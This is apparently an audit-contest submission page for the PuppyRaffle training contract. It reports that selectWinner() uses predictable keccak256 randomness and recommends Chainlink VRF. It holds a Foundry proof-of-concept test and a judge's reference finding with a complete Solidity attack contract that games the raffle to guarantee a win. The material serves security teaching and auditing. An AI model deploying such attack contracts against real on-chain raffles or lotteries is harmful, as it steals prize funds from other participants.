Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Predictable randomness in PuppyRaffle::selectWinner() allows attacker to guarantee raffle win

georgibuilds

Root + Impact

Description

  • PuppyRaffle::selectWinner() generates the winner index using keccak256(msg.sender, block.timestamp, block.difficulty). All three inputs are known before the transaction is submitted, allowing an attacker to compute the winning index off-chain and only call selectWinner() when their address is guaranteed to win. The same seed controls NFT rarity, making legendary NFTs also selectable by the attacker.

function selectWinner() external {
// @> All inputs are publicly known before this call
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(
msg.sender, // @> attacker controls this
block.timestamp, // @> readable before tx
block.difficulty // @> readable before tx
))) % players.length;
}

Risk

Likelihood:

  • Any registered player can execute this attack

  • Requires only off-chain computation, no special setup

  • Repeatable every raffle round

Impact:

  • Attacker wins every raffle round

  • Legitimate players never win

  • 80% of prize pool drained every round

  • Protocol fairness completely destroyed

Proof of Concept

1. Attacker registers as a player 2. Attacker computes winnerIndex off-chain using the same formula as the contract 3. If players[winnerIndex] != attacker address → do not call selectWinner(), wait 4. If players[winnerIndex] == attacker address → call selectWinner() and guaranteed win 5. Attacker claims 80% of prize pool every round

function test_weak_randomness() public {
address[] memory players = new address[](4);
for (uint256 i = 0; i < 4; i++) {
players[i] = address(uint160(i + 1));
}
vm.deal(players[0], entranceFee * 4);
vm.prank(players[0]);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + raffleDuration + 1);
​
uint256 predictedWinnerIndex = uint256(
keccak256(abi.encodePacked(
address(this),
block.timestamp,
block.difficulty
))
) % players.length;
​
address predictedWinner = players[predictedWinnerIndex];
console.log("Predicted winner:", predictedWinner);
​
puppyRaffle.selectWinner();
​
address actualWinner = puppyRaffle.previousWinner();
console.log("Actual winner:", actualWinner);
assertEq(predictedWinner, actualWinner);
}

Recommended Mitigation

Replace the on-chain randomness with Chainlink VRF. On-chain values (msg.sender, block.timestamp, block.difficulty) are publicly readable and manipulable — they cannot provide secure randomness. Chainlink VRF generates randomness off-chain with cryptographic proof, making it impossible to predict or manipulate before the transaction confirms.

- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
- msg.sender, block.timestamp, block.difficulty
- ))) % players.length;
+ // Request randomness from Chainlink VRF
+ // Use fulfillRandomWords() callback to select winner
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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